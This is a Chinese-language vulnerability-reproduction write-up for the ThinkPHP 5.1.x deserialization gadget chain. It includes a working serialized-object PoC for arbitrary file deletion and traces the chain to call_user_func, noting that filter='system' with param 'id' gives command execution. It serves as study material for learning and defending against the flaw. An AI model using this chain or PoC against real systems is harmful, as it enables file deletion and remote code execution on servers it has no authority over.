Thinkphp 5.1.x 反序列化漏洞复现

前言

漏洞复现练习,能力有限,只能先直接跟着其他师傅的文章思路一步一步复现.

环境搭建

1
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
1
composer create-project topthink/think=5.1.* tp5.1

PHP版本:7.3

Thinkphp版本:5.1.39

在Index.php文件中添加触发反序列化的代码,以供待会的poc测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

// [ 应用入口文件 ]
namespace think;

// 加载基础文件
require __DIR__ . '/../thinkphp/base.php';

// 支持事先使用静态方法设置Request对象和Config对象

// 执行应用并响应
Container::get('app')->run()->send();
$str = base64_decode($_POST['key']);
unserialize($str);

漏洞分析

反序列化的入口都是魔术方法开始的,全局搜索__destruct函数,定位到/thinkphp/library/think/process/pipes/Windows.php__destruct

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

跟进removeFiles()函数

1
2
3
4
5
6
7
8
9
10
11
12
/**
* 删除临时文件
*/
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

注释说的很明确,是一个删除临时文件的函数

1
2
3
4
5
6
7
class Windows extends Pipes
{

/** @var array */
private $files = [];
...
}

很明显$files是可控的,所以存在任意文件删除的漏洞,参考poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
namespace think\process\pipes;

class Pipes{

}

class Windows extends Pipes
{
private $files = [];

public function __construct()
{
$this->files=['需要删除文件的路径'];
}
}

echo base64_encode(serialize(new Windows()));

继续跟进removeFiles()file_exists函数

1
2
3
4
5
6
7
8
9
10
11
12
13
function file_exists ($filename) {}

/**
* Tells whether the filename is writable
* @link https://php.net/manual/en/function.is-writable.php
* @param string $filename <p>
* The filename being checked.
* </p>
* @return bool true if the filename exists and is
* writable.
* @since 4.0
* @since 5.0
*/

根据文档的注释说明,$filename是会被当成字符串进行处理的

而我们又知道,魔术方法__toString函数是在一个对象被当成字符串使用时触发,也就是说,只要我们将一个类赋值给$filename,就会触发这个类的__toString方法,接下来要寻找可用的__toString 方法,全局搜索后,定位到\thinkphp\library\think\model\concern\Conversion.php

1
2
3
4
public function __toString()
{
return $this->toJson();
}

我们跟进toJson()看看

1
2
3
4
5
6
7
8
9
10
/**
* 转换当前模型对象为JSON字符串
* @access public
* @param integer $options json参数
* @return string
*/
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

嗯,注释已经很清晰的说明了该函数的功能,继续跟进toArray()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
trait Conversion
{
...
/**
* 转换当前模型对象为数组
* @access public
* @return array
*/
public function toArray()
{
$item = [];
$hasVisible = false;

....
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}

.....
return $item;
}
}

我们需要在toArray()函数中寻找一个满足$可控变量->方法(参数可控)的点,首先,这里调用了一个getRelation方法。我们跟进getRelation(),它位于Attribute类中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
trait Attribute
{
...
/**
* 获取当前模型的关联模型数据
* @access public
* @param string $name 关联方法名
* @return mixed
*/
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
...
}

由于getRelation()下面的if语句为if (!$relation),返回空就进入$relation = $this->getAttr($key),继续跟进getAttr()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
trait Attribute
{
...
/**
* 获取器 获取数据对象的值
* @access public
* @param string $name 名称
* @param array $item 数据
* @return mixed
* @throws InvalidArgumentException
*/
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
...
return $value;
}
...
}

分析后可确定只要$notFound为false就不会走到下面的代码,所以均可忽略

继续跟进getData()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
use InvalidArgumentException;
use think\db\Expression;
use think\Exception;
use think\Loader;
use think\model\Relation;

trait Attribute
{


/**
* 获取对象原始数据 如果不存在指定字段返回false
* @access public
* @param string $name 字段名 留空获取全部
* @return mixed
* @throws InvalidArgumentException
*/
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
...
}

需要注意的一点是这里类的定义使用的是Trait而不是class。自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。

借用七月火师傅的分析流程图,这样看会更清晰

20191002211000-f0846e4a-e515-1.png

$relation 变量来自 $this->data[$name] ,而这个变量是可以控制的。第192行$name 变量来自 $this->append ,也是可以控制的。所以 $relation->visible($name) 就变成了:可控类->visible(可控变量) 。那么接下来,就要找可利用的 visible 方法,或者没有 visible 方法,但有可利用的 __call 方法。

经过查找分析,并没有可利用的visible()方法,所以需要寻找可利用的__call方法,且这个方法的类不存在visible()方法

接下来,需要找到一个同时继承了Attribute类和Conversion类的子类。全局搜索use model\concern\Attribute,在\thinkphp\library\think\Model.php找到了这样的类

1
2
3
4
5
6
7
8
abstract class Model implements \JsonSerializable, \ArrayAccess
{
use model\concern\Attribute;
use model\concern\RelationShip;
use model\concern\ModelEvent;
use model\concern\TimeStamp;
use model\concern\Conversion;
...

确定利用链需要控制的变量

Windows类的$files

Conversion类的$append

Attribute类的$data

寻找代码执行点

__call一般会存在__call_user_func__call_user_func_array,php代码执行的终点经常选择这里。我们不止一次在Thinkphp的rce中见到这两个方法。可以在/thinkphp/library/think/Request.php,找到一个__call函数。__call 调用不可访问或不存在的方法时被调用。

1
2
3
4
5
6
7
8
9
10
11
......
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

throw new Exception('method not exists:' . static::class . '->' . $method);
}
.....

但是这里我们只能控制$args,所以这里很难反序列化成功,但是 $hook这里是可控的,所以我们可以构造一个hook数组"visable"=>"method",但是array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头。这种情况下我们是构造不出可用的payload的。

分析过 ThinkPHP 历史 RCE 漏洞的人可能知道, think\Request 类的 input 方法经常是链中一个非常棒的 Gadget ,相当于 call_user_func($filter,$data) 。但是前面我们说过, $args 数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法

在Thinkphp的Request类中还有一个功能filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
...

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}

return $data;
}

注意: array_walk_recursive — 对数组中的每个成员递归地应用用户函数

https://www.php.net/manual/zh/function.array-walk-recursive.php

跟进getFilter()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;

return $filter;
}

$this->filter可控,则$filter可控

再看看filterValue()

1
2
3
4
5
6
7
8
9
10
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
}
...

可惜$value并不能直接控制

20191002211012-f79980d0-e515-1.png

接下来便需要寻找调用input()方法的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
  public function param($name = '', $default = null, $filter = '')
{
...
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

依旧不可控,继续寻找调用param()方法的地方,最终定位到isAjax(),不过isPjax()也是可以利用的,因为他们传入 param()方法的第一个参数均可控。

1
2
3
4
5
6
7
8
9
10
11
12
13
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

这样,一条利用链就完整了

如果我们想执行 system(‘id’) 代码,那么我们只要让传入的 Request 对象的 $this->filter=’system’$this->param=array(‘id’) 即可

20191002211046-0c03a88e-e516-1.png

PS:网上很多现成的POC,搜搜就好了,这里就不放了

参考链接

https://paper.seebug.org/1040/

https://xz.aliyun.com/t/6619#toc-0

https://xz.aliyun.com/t/6467

https://blog.riskivy.com/%e6%8c%96%e6%8e%98%e6%9a%97%e8%97%8fthinkphp%e4%b8%ad%e7%9a%84%e5%8f%8d%e5%ba%8f%e5%88%97%e5%88%a9%e7%94%a8%e9%93%be/